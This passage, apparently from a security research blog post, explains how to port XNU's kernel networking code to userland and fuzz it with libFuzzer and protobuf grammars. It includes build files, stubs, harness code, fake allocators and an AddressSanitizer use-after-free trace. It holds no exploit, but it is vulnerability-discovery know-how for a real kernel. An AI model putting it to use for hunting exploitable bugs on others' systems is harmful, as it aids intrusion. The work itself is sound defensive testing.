process and a server working in concert. I recognized these attack surfaces\u2019 power, where some security-critical code is \u201csandwiched\u201d between two attacker-controlled entities. The Chrome browser process is prone to use after free vulnerabilities due to the difficulty of managing state for large APIs, and I suspected XNU would have the same issue. Networking features both parsing and state management. I figured that even if others had already fuzzed the parsers extensively, there could still be use after free vulnerabilities lying dormant.\n\nI then proceeded to look at recent bug reports. Two bugs that caught my eye: the [mptcp overflow](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1558>) discovered by Ian Beer and the ICMP [out of bounds write](<https://securitylab.github.com/research/apple-xnu-icmp-error-CVE-2018-4407>) found by Kevin Backhouse. Both of these are somewhat \u201cstraightforward\u201d buffer overflows. The bugs\u2019 simplicity hinted that kernel networking, even packet parsing, was sufficiently undertested. A fuzzer combining network syscalls and arbitrary remote packets should be large enough in scope to reproduce these issues and find new ones.\n\nDigging deeper, I wanted to understand how to reach these bugs in practice. By cross-referencing the functions and setting kernel breakpoints in a VM, I managed to get a more concrete idea. Here\u2019s the call stack for Ian\u2019s MPTCP bug:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixaqhrlPJxgqVridccvdElpi6yxaoJCSUXDp5q8hm_F66e5WHW3NRaFwmy-OWQvCKz661k3LEfi4A4r2sa1LkgMb8pu8CEVjKbzTkblc8SZZYcOsKkw7u0uG2qo5KzCdjbxixJ-CplQI2nohuVE1_t07PiNW-xRxnW-3e4WtILcCE6CoYjbN1D6UPi/s623/image3%282%29.png>)\n\nThe buggy function in question is mptcp_usr_connectx. Moving up the call stack, we find the connectx syscall, which we see in Ian\u2019s original testcase. If we were to write a fuzzer to find this bug, how would we do it? Ultimately, whatever we do has to both find the bug and give us the information we need to reproduce it on the real kernel. Calling mptcp_usr_connectx directly should surely find the bug, but this seems like the wrong idea because it takes a lot of arguments. Modeling a fuzzer well enough to call this function directly in a way representative of the real code is no easier than auditing the code in the first place, so we\u2019ve not made things any easier by writing a targeted fuzzer. It\u2019s also wasted effort to write a target for each function this small. On the other hand, the further up the call stack we go, the more complexity we may have to support and the less chance we have of landing on the bug. If I were trying to unit test the networking stack, I would probably avoid the syscall layer and call the intermediate helper functions as a middle ground. This is exactly what I tried in the first draft of the fuzzer; I used [sock_socket](<https://developer.apple.com/documentation/kernel/1396122-sock_socket>) to create struct socket* objects to pass to connectitx in the hopes that it would be easy to reproduce this bug while being high-enough level that this bug could plausibly have been discovered without knowing where to look for it. Surprisingly, after some experimentation, it turned out to be easier to simply call the syscalls directly (via connectx). This makes it easier to translate crashing inputs into programs to run against a real kernel since testcases map 1:1 to syscalls. We\u2019ll see more details about this later.\n\nWe can\u2019t test networking properly without accounting for packets. In this case, data comes from the hardware, not via syscalls from a user process. We\u2019ll have to expose this functionality to our fuzzer. To figure out how to extend our framework to support random packet delivery, we can use our next example bug. Let\u2019s take a look at the call stack for delivering a packet to trigger the ICMP bug reported by Kevin Backhouse:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjN_4qMCDG0R3Ix94ctakWAgk3QmZ1JVD0IxQVjr9ft44Eu2a3VYxzWkueZJvf8MUd2qsf2Z-Qk2elUh_Zl-Cx5D9k6ueDM-pJNT9LeT3Ruhtc_CAgn0SL1M2XVCL_BYiTya834YqPEYuU5kH0nU68d7eUJrsUuY-hGEZ3EfiX_yCZ7ZvlDnQoQceOe/s450/image2%281%29.png>)\n\nTo reach the buggy function, icmp_error, the call stack is deeper, and unlike with syscalls, it\u2019s not immediately obvious which of these functions we should call to cover the relevant code. Starting from the very top of the call stack, we see that the crash occurred in a kernel thread running the dlil_input_thread_func function. DLIL stands for Data Link Interface Layer, a reference to the OSI model\u2019s [data link layer](<https://en.wikipedia.org/wiki/Data_link_layer>). Moving further down the stack, we see ether_inet_input, indicating an Ethernet packet (since I tested this issue using Ethernet). We finally make it down to the IP layer, where ip_dooptions signals an icmp_error. As an attacker, we probably don\u2019t have a lot of control over the interface a user uses to receive our input, so we can rule out some of the uppermost layers. We also don\u2019t want to deal with threads in our fuzzer, another design tradeoff we\u2019ll describe in more detail later. proto_input and ip_proto_input don\u2019t do much, so I decided that ip_proto was where I would inject packets, simply by calling the function when I wanted to deliver a packet. After reviewing proto_register_input, I discovered another function called ip6_input, which was the entry point for the IPv6 code. Here\u2019s the prototype for ip_input:\n\nvoid ip_input(struct mbuf *m); \n \n--- \n \n \nMbufs are message buffers, a standard buffer format used in network stacks. They enable multiple small packets to be chained together through a linked list. So we just need to generate mbufs with random data before calling ip_input.\n\nI was surprised by how easy it was to work with the network stack compared to the syscall interface. `ip_input` and `ip6_input` pure functions that don\u2019t require us to know any state to call them. But stepping back, it made more sense. Packet delivery is inherently a clean interface: our kernel has no idea what arbitrary packets may be coming in, so the interface takes a raw packet and then further down in the stack decides how to handle it. Many packets contain metadata that affect the kernel state once received. For example, TCP or UDP packets will be matched to an existing connection by their port number.\n\nMost modern coverage guided fuzzers, including this LibFuzzer-based project, use a design inspired by AFL. When a test case with some known coverage is mutated and the mutant produces coverage that hasn\u2019t been seen before, the mutant is added to the current corpus of inputs. It becomes available for further mutations to produce even deeper coverage. Lcamtuf, the author of AFL, has an excellent demonstration of how this algorithm [created JPEGs using coverage feedback](<https://lcamtuf.blogspot.com/2014/11/pulling-jpegs-out-of-thin-air.html>) with no well-formed starting samples. In essence, most poorly-formed inputs are rejected early. When a mutated input passes a validation check, the input is saved. Then that input can be mutated until it manages to pass the second validation check, and so on. This hill climbing algorithm has no problem generating dependent sequences of API calls, in this case to interleave syscalls with ip_input and ip6_input. Random syscalls can get the kernel into some state where it\u2019s expecting a packet. Later, when libFuzzer guesses a packet that gets the kernel into some new state, the hill climbing algorithm will record a new test case when it sees new coverage. Dependent sequences of syscalls and packets are brute-forced in a linear fashion, one call at a time.\n\nDesigning for (Development) Speed\n\nNow that we know where to attack this code base, it\u2019s a matter of building out the fuzzing research platform. I like thinking of it this way because it emphasizes that this fuzzer is a powerful assistant to a researcher, but it can\u2019t do all the work. Like any other test framework, it empowers the researcher to make hypotheses and run experiments over code that looks buggy. For the platform to be helpful, it needs to be comfortable and fun to work with and get out of the way.\n\nWhen it comes to standard practice for kernel fuzzing, there\u2019s a pretty simple spectrum for strategies. On one end, you fuzz self-contained functions that are security-critical, e.g., OSUnserializeBinary. These are easy to write and manage and are generally quite performant. On the other end, you have \u201cend to end\u201d kernel testing that performs random syscalls against a real kernel instance. These heavyweight fuzzers have the advantage of producing issues that you know are actionable right away, but setup and iterative development are slower. I wanted to try a hybrid approach that could preserve some of the benefits of each style. To do so, I would port the networking stack of XNU out of the kernel and into userland while preserving as much of the original code as possible. Kernel code can be surprisingly portable and amenable to unit testing, even when run outside its natural environment.\n\nThere has been a push to add more user-mode unit testing to Linux. If you look at the documentation for Linux\u2019s [KUnit project](<https://www.kernel.org/doc/html/latest/dev-tools/kunit/index.html>), there\u2019s an excellent quote from Linus Torvalds: \u201c\u2026 a lot of people seem to think that performance is about doing the same thing, just doing it faster, and that is not true. That is not what performance is all about. If you can do something really fast, really well, people will start using it differently.\u201d This statement echoes the experience I had writing targeted fuzzers for code in Chrome\u2019s browser process. Due to extensive unit testing, Chrome code is already well-factored for fuzzing. In a day\u2019s work, I could try out many iterations of a fuzz target and the edit/build/run cycle. I didn\u2019t have a similar mechanism out of the box with XNU. In order to perform a unit test, I would need to rebuild the kernel. And despite XNU being considerably smaller than Chrome, incremental builds were slower due to the older kmk build system. I wanted to try bridging this gap for XNU.\n\nSetting up the Scaffolding\n\n\u201cUnit\u201d testing a kernel up through the syscall layer sounds like a big task, but it\u2019s easier than you\u2019d expect if you forgo some complexity. We\u2019ll start by building all of the individual kernel object files from source using the original build flags. But instead of linking everything together to produce the final kernel binary, we link in only the subset of objects containing code in our target attack surface. We then stub or fake the rest of the functionality. Thanks to the recon in the previous section, we already know which functions we want to call from our fuzzer. I used that information to prepare a minimal list of source objects to include in our userland port.\n\nBefore we dive in, let\u2019s define the overall structure of the project as pictured below. There\u2019s going to be a fuzz target implemented in C++ that translates fuzzed inputs into interactions with the userland XNU library. The target code, libxnu, exposes a few wrapper symbols for syscalls and ip_input as mentioned in the attack surface review section. The fuzz target also exposes its random sequence of bytes to kernel APIs such as copyin or copyout, whose implementations have been replaced with fakes that use fuzzed input data.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd7HxZOpEaZ0zOKXMwVP0f3hRjwuUrChoR3_v_y91gddRnq4T-t7FCJt5mmG3EGwaK3-HT_hibQyi-0CgwigF9hGZBfNaJhssUQG0KBYoyVGpXRHWgtVAUhC1EOgHgyb_vfiqdYGWxZE7N9y0ysw-0ikT-Kj_ljONiFGGMUPagiidn4dzLgSP8EvX-/s1051/image1%283%29.png>)\n\nTo make development more manageable, I decided to create a new build system using CMake, as it supported Ninja for fast rebuilds. One drawback here is the original build system has to be run every time upstream is updated to deal with generated sources, but this is worth it to get a faster development loop. I captured all of the compiler invocations during a normal kernel build and used those to reconstruct the flags passed to build the various kernel subsystems. Here\u2019s what that first pass looks like:\n\nproject(libxnu)\n\nset(XNU_DEFINES\n\n-DAPPLE\n\n-DKERNEL\n\n# ...\n\n)\n\nset(XNU_SOURCES\n\nbsd/conf/param.c\n\nbsd/kern/kern_asl.c\n\nbsd/net/if.c\n\nbsd/netinet/ip_input.c\n\n# ...\n\n)\n\nadd_library(xnu SHARED ${XNU_SOURCES} ${FUZZER_FILES} ${XNU_HEADERS})\n\nprotobuf_generate_cpp(NET_PROTO_SRCS NET_PROTO_HDRS fuzz/net_fuzzer.proto)\n\nadd_executable(net_fuzzer fuzz/net_fuzzer.cc ${NET_PROTO_SRCS} ${NET_PROTO_HDRS})\n\ntarget_include_directories(net_fuzzer PRIVATE libprotobuf-mutator)\n\ntarget_compile_options(net_fuzzer PRIVATE ${FUZZER_CXX_FLAGS}) \n \n--- \n \n \nOf course, without the rest of the kernel, we see tons of missing symbols.\n\n\"_zdestroy\", referenced from:\n\n_if_clone_detach in libxnu.a(if.c.o)\n\n\"_zfree\", referenced from:\n\n_kqueue_destroy in libxnu.a(kern_event.c.o)\n\n_knote_free in libxnu.a(kern_event.c.o)\n\n_kqworkloop_get_or_create in libxnu.a(kern_event.c.o)\n\n_kev_delete in libxnu.a(kern_event.c.o)\n\n_pipepair_alloc in libxnu.a(sys_pipe.c.o)\n\n_pipepair_destroy_pipe in libxnu.a(sys_pipe.c.o)\n\n_so_cache_timer in libxnu.a(uipc_socket.c.o)\n\n...\n\n\"_zinit\", referenced from:\n\n_knote_init in libxnu.a(kern_event.c.o)\n\n_kern_event_init in libxnu.a(kern_event.c.o)\n\n_pipeinit in libxnu.a(sys_pipe.c.o)\n\n_socketinit in libxnu.a(uipc_socket.c.o)\n\n_unp_init in libxnu.a(uipc_usrreq.c.o)\n\n_cfil_init in libxnu.a(content_filter.c.o)\n\n_tcp_init in libxnu.a(tcp_subr.c.o)\n\n...\n\n\"_zone_change\", referenced from:\n\n_knote_init in libxnu.a(kern_event.c.o)\n\n_kern_event_init in libxnu.a(kern_event.c.o)\n\n_socketinit in libxnu.a(uipc_socket.c.o)\n\n_cfil_init in libxnu.a(content_filter.c.o)\n\n_tcp_init in libxnu.a(tcp_subr.c.o)\n\n_ifa_init in libxnu.a(if.c.o)\n\n_if_clone_attach in libxnu.a(if.c.o)\n\n...\n\nld: symbol(s) not found for architecture x86_64\n\nclang: error: linker command failed with exit code 1 (use -v to see invocation)\n\nninja: build stopped: subcommand failed. \n \n--- \n \n \nTo get our initial targeted fuzzer working, we can do a simple trick by linking against a file containing stubbed implementations of all of these. We take advantage of C\u2019s weak type system here. For each function we need to implement, we can link an implementation void func() { assert(false); }. The arguments passed to the function are simply ignored, and a crash will occur whenever the target code attempts to call it. This goal can be achieved with linker flags, but it was a simple enough solution that allowed me to get nice backtraces when I hit an unimplemented function.\n\n// Unimplemented stub functions\n\n// These should be replaced with real or mock impls.\n\n#include <kern/assert.h>\n\n#include <stdbool.h>\n\nint printf(const char* format, ...);\n\nvoid Assert(const char* file, int line, const char* expression) {\n\nprintf(\"%s: assert failed on line %d: %s\\n\", file, line, expression);\n\n__builtin_trap();\n\n}\n\nvoid IOBSDGetPlatformUUID() { assert(false); }\n\nvoid IOMapperInsertPage() { assert(false); }\n\n// ... \n \n--- \n \n \nThen we just link this file into the XNU library we\u2019re building by adding it to the source list:\n\nset(XNU_SOURCES\n\nbsd/conf/param.c\n\nbsd/kern/kern_asl.c\n\n# ...\n\nfuzz/syscall_wrappers.c\n\nfuzz/ioctl.c\n\nfuzz/backend.c\n\nfuzz/stubs.c\n\nfuzz/fake_impls.c \n \n--- \n \n \nAs you can see, there are some other files I included in the XNU library that represent faked implementations and helper code to expose some internal kernel APIs. To make sure our fuzz target will call code in the linked library, and not some other host functions (syscalls) with a clashing name, we hide all of the symbols in libxnu by default and then expose a set of wrappers that call those functions on our behalf. I hide all the names by default using a CMake setting set_target_properties(xnu PROPERTIES C_VISIBILITY_PRESET hidden). Then we can link in a file (fuzz/syscall_wrappers.c) containing wrappers like the following:\n\n__attribute__((visibility(\"default\"))) int accept_wrapper(int s, caddr_t name,\n\nsocklen_t* anamelen,\n\nint* retval) {\n\nstruct accept_args uap = {\n\n.s = s,\n\n.name = name,\n\n.anamelen = anamelen,\n\n};\n\nreturn accept(kernproc, &uap, retval);\n\n} \n \n--- \n \nNote the visibility attribute that explicitly exports the symbol from the library. Due to the simplicity of these wrappers I created a script to automate this called generate_fuzzer.py using syscalls.master. \n\n\nWith the stubs in place, we can start writing a fuzz target now and come back to deal with implementing them later. We will see a crash every time the target code attempts to use one of the functions we initially left out. Then we get to decide to either include the real implementation (and perhaps recursively require even more stubbed function implementations) or to fake the functionality.\n\nA bonus of getting a build working with CMake was to create multiple targets with different instrumentation. Doing so allows me to generate coverage reports using clang-coverage:\n\ntarget_compile_options(xnu-cov PRIVATE ${XNU_C_FLAGS} -DLIBXNU_BUILD=1 -D_FORTIFY_SOURCE=0 -fprofile-instr-generate -fcoverage-mapping) \n \n--- \n \n \nWith that, we just add a fuzz target file and a protobuf file to use with protobuf-mutator and we\u2019re ready to get started:\n\nprotobuf_generate_cpp(NET_PROTO_SRCS NET_PROTO_HDRS fuzz/net_fuzzer.proto)\n\nadd_executable(net_fuzzer fuzz/net_fuzzer.cc ${NET_PROTO_SRCS} ${NET_PROTO_HDRS})\n\ntarget_include_directories(net_fuzzer PRIVATE libprotobuf-mutator)\n\ntarget_compile_options(net_fuzzer\n\nPRIVATE -g\n\n-std=c++11\n\n-Werror\n\n-Wno-address-of-packed-member\n\n${FUZZER_CXX_FLAGS})\n\nif(APPLE)\n\ntarget_link_libraries(net_fuzzer ${FUZZER_LD_FLAGS} xnu fuzzer protobuf-mutator ${Protobuf_LIBRARIES})\n\nelse()\n\ntarget_link_libraries(net_fuzzer ${FUZZER_LD_FLAGS} xnu fuzzer protobuf-mutator ${Protobuf_LIBRARIES} pthread)\n\nendif(APPLE) \n \n--- \n \nWriting a Fuzz Target\n\nAt this point, we\u2019ve assembled a chunk of XNU into a convenient library, but we still need to interact with it by writing a fuzz target. At first, I thought I might write many targets for different features, but I decided to write one monolithic target for this project. I\u2019m sure fine-grained targets could do a better job for functionality that\u2019s harder to fuzz, e.g., the TCP state machine, but we will stick to one for simplicity.\n\nWe\u2019ll start by specifying an input grammar using protobuf, part of which is depicted below. This grammar is completely arbitrary and will be used by a corresponding C++ harness that we will write next. LibFuzzer has a plugin called libprotobuf-mutator that knows how to mutate protobuf messages. This will enable us to do grammar-based mutational fuzzing efficiently, while still leveraging coverage guided feedback. This is a very powerful combination.\n\nmessage Socket {\n\nrequired Domain domain = 1;\n\nrequired SoType so_type = 2;\n\nrequired Protocol protocol = 3;\n\n// TODO: options, e.g. SO_ACCEPTCONN\n\n}\n\nmessage Close {\n\nrequired FileDescriptor fd = 1;\n\n}\n\nmessage SetSocketOpt {\n\noptional Protocol level = 1;\n\noptional SocketOptName name = 2;\n\n// TODO(nedwill): structure for val\n\noptional bytes val = 3;\n\noptional FileDescriptor fd = 4;\n\n}\n\nmessage Command {\n\noneof command {\n\nPacket ip_input = 1;\n\nSetSocketOpt set_sock_opt = 2;\n\nSocket socket = 3;\n\nClose close = 4;\n\n}\n\n}\n\nmessage Session {\n\nrepeated Command commands = 1;\n\nrequired bytes data_provider = 2;\n\n} \n \n--- \n \nI left some TODO comments intact so you can see how the grammar can always be improved. As I\u2019ve done in similar fuzzing projects, I have a top-level message called Session that encapsulates a single fuzzer iteration or test case. This session contains a sequence of \u201ccommands\u201d and a sequence of bytes that can be used when random, unstructured data is needed (e.g., when doing a copyin). Commands are syscalls or random packets, which in turn are their own messages that have associated data. For example, we might have a session that has a single Command message containing a \u201cSocket\u201d message. That Socket message has data associated with each argument to the syscall. In our C++-based target, it\u2019s our job to translate messages of this custom specification into real syscalls and related API calls. We inform libprotobuf-mutator that our fuzz target expects to receive one \u201cSession\u201d message at a time via the macro DEFINE_BINARY_PROTO_FUZZER. \n\n\nDEFINE_BINARY_PROTO_FUZZER(const Session &session) {\n\n// ...\n\nstd::set<int> open_fds;\n\nfor (const Command &command : session.commands()) {\n\nint retval = 0;\n\nswitch (command.command_case()) {\n\ncase Command::kSocket: {\n\nint fd = 0;\n\nint err = socket_wrapper(command.socket().domain(),\n\ncommand.socket().so_type(),\n\ncommand.socket().protocol(), &fd);\n\nif (err == 0) {\n\n// Make sure we're tracking fds properly.\n\nif (open_fds.find(fd) != open_fds.end()) {\n\nprintf(\"Found existing fd %d\\n\", fd);\n\nassert(false);\n\n}\n\nopen_fds.insert(fd);\n\n}\n\nbreak;\n\n}\n\ncase Command::kClose: {\n\nopen_fds.erase(command.close().fd());\n\nclose_wrapper(command.close().fd(), nullptr);\n\nbreak;\n\n}\n\ncase Command::kSetSockOpt: {\n\nint s = command.set_sock_opt().fd();\n\nint level = command.set_sock_opt().level();\n\nint name = command.set_sock_opt().name();\n\nsize_t size = command.set_sock_opt().val().size();\n\nstd::unique_ptr<char[]> val(new char[size]);\n\nmemcpy(val.get(), command.set_sock_opt().val().data(), size);\n\nsetsockopt_wrapper(s, level, name, val.get(), size, nullptr);\n\nbreak;\n\n} \n \n--- \n \nWhile syscalls are typically a straightforward translation of the protobuf message, other commands are more complex. In order to improve the structure of randomly generated packets, I added custom message types that I then converted into the relevant on-the-wire structure before passing it into ip_input. Here\u2019s how this looks for TCP:\n\nmessage Packet {\n\noneof packet {\n\nTcpPacket tcp_packet = 1;\n\n}\n\n}\n\nmessage TcpPacket {\n\nrequired IpHdr ip_hdr = 1;\n\nrequired TcpHdr tcp_hdr = 2;\n\noptional bytes data = 3;\n\n}\n\nmessage IpHdr {\n\nrequired uint32 ip_hl = 1;\n\nrequired IpVersion ip_v = 2;\n\nrequired uint32 ip_tos = 3;\n\nrequired uint32 ip_len = 4;\n\nrequired uint32 ip_id = 5;\n\nrequired uint32 ip_off = 6;\n\nrequired uint32 ip_ttl = 7;\n\nrequired Protocol ip_p = 8;\n\nrequired InAddr ip_src = 9;\n\nrequired InAddr ip_dst = 10;\n\n}\n\nmessage TcpHdr {\n\nrequired Port th_sport = 1;\n\nrequired Port th_dport = 2;\n\nrequired TcpSeq th_seq = 3;\n\nrequired TcpSeq th_ack = 4;\n\nrequired uint32 th_off = 5;\n\nrepeated TcpFlag th_flags = 6;\n\nrequired uint32 th_win = 7;\n\nrequired uint32 th_sum = 8;\n\nrequired uint32 th_urp = 9;\n\n// Ned's extensions\n\nrequired bool is_pure_syn = 10;\n\nrequired bool is_pure_ack = 11;\n\n} \n \n--- \n \nUnfortunately, protobuf doesn\u2019t support a uint8 type, so I had to use uint32 for some fields. That\u2019s some lost fuzzing performance. You can also see some synthetic TCP header flags I added to make certain flag combinations more likely: is_pure_syn and is_pure_ack. Now I have to write some code to stitch together a valid packet from these nested fields. Shown below is the code to handle just the TCP header.\n\nstd::string get_tcp_hdr(const TcpHdr &hdr) {\n\nstruct tcphdr tcphdr = {\n\n.th_sport = (unsigned short)hdr.th_sport(),\n\n.th_dport = (unsigned short)hdr.th_dport(),\n\n.th_seq = __builtin_bswap32(hdr.th_seq()),\n\n.th_ack = __builtin_bswap32(hdr.th_ack()),\n\n.th_off = hdr.th_off(),\n\n.th_flags = 0,\n\n.th_win = (unsigned short)hdr.th_win(),\n\n.th_sum = 0, // TODO(nedwill): calculate the checksum instead of skipping it\n\n.th_urp = (unsigned short)hdr.th_urp(),\n\n};\n\nfor (const int flag : hdr.th_flags()) {\n\ntcphdr.th_flags ^= flag;\n\n}\n\n// Prefer pure syn\n\nif (hdr.is_pure_syn()) {\n\ntcphdr.th_flags &= ~(TH_RST | TH_ACK);\n\ntcphdr.th_flags |= TH_SYN;\n\n} else if (hdr.is_pure_ack()) {\n\ntcphdr.th_flags &= ~(TH_RST | TH_SYN);\n\ntcphdr.th_flags |= TH_ACK;\n\n}\n\nstd::string dat((char *)&tcphdr, (char *)&tcphdr + sizeof(tcphdr));\n\nreturn dat;\n\n} \n \n--- \n \n \nAs you can see, I make liberal use of a custom grammar to enable better quality fuzzing. These efforts are worth it, as randomizing high level structure is more efficient. It will also be easier for us to interpret crashing test cases later as they will have the same high level representation.\n\nHigh-Level Emulation\n\nNow that we have the code building and an initial fuzz target running, we begin the first pass at implementing all of the stubbed code that is reachable by our fuzz target. Because we have a fuzz target that builds and runs, we now get instant feedback about which functions our target hits. Some core functionality has to be supported before we can find any bugs, so the first attempt to run the fuzzer deserves its own development phase. For example, until dynamic memory allocation is supported, almost no kernel code we try to cover will work considering how heavily such code is used.\n\nWe\u2019ll be implementing our stubbed functions with fake variants that attempt to have the same semantics. For example, when testing code that uses an external database library, you could replace the database with a simple in-memory implementation. If you don\u2019t care about finding database bugs, this often makes fuzzing simpler and more robust. For some kernel subsystems unrelated to networking we can use entirely different or null implementations. This process is reminiscent of high-level emulation, an idea used in game console emulation. Rather than aiming to emulate hardware, you can try to preserve the semantics but use a custom implementation of the API. Because we only care about testing networking, this is how we approach faking subsystems in this project.\n\nI always start by looking at the original function implementation. If it\u2019s possible, I just link in that code as well. But some functionality isn\u2019t compatible with our fuzzer and must be faked. For example, zalloc should call the userland malloc since virtual memory is already managed by our host kernel and we have allocator facilities available. Similarly, copyin and copyout need to be faked as they no longer serve to copy data between user and kernel pages. Sometimes we also just \u201cnop\u201d out functionality that we don\u2019t care about. We\u2019ll cover these decisions in more detail later in the \u201cHigh-Level Emulation\u201d phase. Note that by implementing these stubs lazily whenever our fuzz target hits them, we immediately reduce the work in handling all the unrelated functions by an order of magnitude. It\u2019s easier to stay motivated when you only implement fakes for functions that are used by the target code. This approach successfully saved me a lot of time and I\u2019ve used it on subsequent projects as well. At the time of writing, I have 398 stubbed functions, about 250 functions that are trivially faked (return 0 or void functions that do nothing), and about 25 functions that I faked myself (almost all related to porting the memory allocation systems to userland).\n\n# Booting Up\n\nAs soon as we start running the fuzzer, we\u2019ll run into a snag: many resources require a one-time initialization that happens on boot. The BSD half of the kernel is mostly initialized by calling the bsd_init function. That function, in turn, calls several subsystem-specific initialization functions. Keeping with the theme of supporting a minimally necessary subset of the kernel, rather than call bsd_init, we create a new function that only initializes parts of the kernel as needed.\n\nHere\u2019s an example crash that occurs without the one time kernel bootup initialization:\n\n#7 0x7effbc464ad0 in zalloc /source/build3/../fuzz/zalloc.c:35:3\n\n#8 0x7effbb62eab4 in pipepair_alloc /source/build3/../bsd/kern/sys_pipe.c:634:24\n\n#9 0x7effbb62ded5 in pipe /source/build3/../bsd/kern/sys_pipe.c:425:10\n\n#10 0x7effbc4588ab in pipe_wrapper /source/build3/../fuzz/syscall_wrappers.c:216:10\n\n#11 0x4ee1a4 in TestOneProtoInput(Session const&) /source/build3/../fuzz/net_fuzzer.cc:979:19 \n \n--- \n \nOur zalloc implementation (covered in the next section) failed because the pipe zone wasn\u2019t yet initialized:\n\nstatic int\n\npipepair_alloc(struct pipe **rp_out, struct pipe **wp_out)\n\n{\n\nstruct pipepair *pp = zalloc(pipe_zone); \n \n--- \n \nScrolling up in sys_pipe.c, we see where that zone is initialized:\n\nvoid\n\npipeinit(void)\n\n{\n\nnbigpipe = 0;\n\nvm_size_t zone_size;\n\nzone_size = 8192 * sizeof(struct pipepair);\n\npipe_zone = zinit(sizeof(struct pipepair), zone_size, 4096, \"pipe zone\"); \n \n--- \n \nSure enough, this function is called by bsd_init. By adding that to our initial setup function the zone works as expected. After some development cycles spent supporting all the needed bsd_init function calls, we have the following:\n\n__attribute__((visibility(\"default\"))) bool initialize_network() {\n\nmcache_init();\n\nmbinit();\n\neventhandler_init();\n\npipeinit();\n\ndlil_init();\n\nsocketinit();\n\ndomaininit();\n\nloopattach();\n\nether_family_init();\n\ntcp_cc_init();\n\nnet_init_run();\n\nint res = necp_init();\n\nassert(!res);\n\nreturn true;\n\n} \n \n--- \n \n \nThe original bsd_init is 683 lines long, but our initialize_network clone is the preceding short snippet. I want to remark how cool I found it that you could \u201cboot\u201d a kernel like this and have everything work so long as you implemented all the relevant stubs. It just goes to show a surprising fact: a significant amount of kernel code is portable, and simple steps can be taken to make it testable. These codebases can be modernized without being fully rewritten. As this \u201cboot\u201d relies on dynamic allocation, let\u2019s look at how I implemented that next.\n\n# Dynamic Memory Allocation\n\nProviding a virtual memory abstraction is a fundamental goal of most kernels, but the good news is this is out of scope for this project (this is left as an exercise for the reader). Because networking already assumes working virtual memory, the network stack functions almost entirely on top of high-level allocator APIs. This makes the subsystem amenable to \u201chigh-level emulation\u201d. We can create a thin shim layer that intercepts XNU specific allocator calls and translates them to the relevant host APIs.\n\nIn practice, we have to handle three types of allocations for this project: \u201cclassic\u201d allocations (malloc/calloc/free), zone allocations (zalloc), and mbuf (memory buffers). The first two types are more fundamental allocation types used across XNU, while mbufs are a common data structure used in low-level networking code.\n\nThe zone allocator is reasonably complicated, but we use a simplified model for our purposes: we just track the size assigned to a zone when it is created and make sure we malloc that size when zalloc is later called using the initialized zone. This could undoubtedly be modeled better, but this initial model worked quite well for the types of bugs I was looking for. In practice, this simplification affects exploitability, but we aren\u2019t worried about that for a fuzzing project as we can assess that manually once we discover an issue. As you can see below, I created a custom zone type that simply stored the configured size, knowing that my zinit would return an opaque pointer that would be passed to my zalloc implementation, which could then use calloc to service the request. zfree simply freed the requested bytes and ignored the zone, as allocation sizes are tracked by the host malloc already.\n\nstruct zone {\n\nuintptr_t size;\n\n};\n\nstruct zone* zinit(uintptr_t size, uintptr_t max, uintptr_t alloc,\n\nconst char* name) {\n\nstruct zone* zone = (struct zone*)calloc(1, sizeof(struct zone));\n\nzone->size = size;\n\nreturn zone;\n\n}\n\nvoid* zalloc(struct zone* zone) {\n\nassert(zone != NULL);\n\nreturn calloc(1, zone->size);\n\n}\n\nvoid zfree(void* zone, void* dat) {\n\n(void)zone;\n\nfree(dat);\n\n} \n \n--- \n \nKalloc, kfree, and related functions were passed through to malloc and free as well. You can see fuzz/zalloc.c for their implementations. Mbufs (memory buffers) are more work to implement because they contain considerable metadata that is exposed to the \u201cclient\u201d networking code.\n\nstruct m_hdr {\n\nstruct mbuf *mh_next; /* next buffer in chain */\n\nstruct mbuf *mh_nextpkt; /* next chain in queue/record */\n\ncaddr_t mh_data; /* location of data */\n\nint32_t mh_len; /* amount of data in this mbuf */\n\nu_int16_t mh_type; /* type of data in this mbuf */\n\nu_int16_t mh_flags; /* flags; see below */\n\n};\n\n/*\n\n* The mbuf object\n\n*/\n\nstruct mbuf {\n\nstruct m_hdr m_hdr;\n\nunion {\n\nstruct {\n\nstruct pkthdr MH_pkthdr; /* M_PKTHDR set */\n\nunion {\n\nstruct m_ext MH_ext; /* M_EXT set */\n\nchar MH_databuf[_MHLEN];\n\n} MH_dat;\n\n} MH;\n\nchar M_databuf[_MLEN]; /* !M_PKTHDR, !M_EXT */\n\n} M_dat;\n\n}; \n \n--- \n \n \nI didn\u2019t include the pkthdr nor m_ext structure definitions, but they are nontrivial (you can see for yourself in bsd/sys/mbuf.h). A lot of trial and error was needed to create a simplified mbuf format that would work. In practice, I use an inline buffer when possible and, when necessary, locate the data in one large external buffer and set the M_EXT flag. As these allocations must be aligned, I use posix_memalign to create them, rather than malloc. Fortunately ASAN can help manage these allocations, so we can detect some bugs with this modification.\n\nTwo bugs I reported via the Project Zero tracker highlight the benefit of the heap-based mbuf implementation. In the [first report](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1981>), I detected an mbuf double free using ASAN. While the m_free implementation tries to detect double frees by checking the state of the allocation, ASAN goes even further by quarantining recently freed allocations to detect the bug. In this case, it looks like the fuzzer would have found the bug either way, but it was impressive. The [second issue](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1976>) linked is much subtler and requires some instrumentation to detect the bug, as it is a use after free read of an mbuf:\n\n==22568==ERROR: AddressSanitizer: heap-use-after-free on address 0x61500026afe5 at pc 0x7ff60f95cace bp 0x7ffd4d5617b0 sp 0x7ffd4d5617a8\n\nREAD of size 1 at 0x61500026afe5 thread T0\n\n#0 0x7ff60f95cacd in tcp_input bsd/netinet/tcp_input.c:5029:25\n\n#1 0x7ff60f949321 in tcp6_input bsd/netinet/tcp_input.c:1062:2\n\n#2 0x7ff60fa9263c in ip6_input bsd/netinet6/ip6_input.c:1277:10\n\n0x61500026afe5 is located 229 bytes inside of 256-byte region [0x61500026af00,0x61500026b000)\n\nfreed by thread T0 here:\n\n#0 0x4a158d in free /b/swarming/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:123:3\n\n#1 0x7ff60fb7444d in m_free fuzz/zalloc.c:220:3\n\n#2 0x7ff60f4e3527 in m_freem bsd/kern/uipc_mbuf.c:4842:7\n\n#3 0x7ff60f5334c9 in sbappendstream_rcvdemux 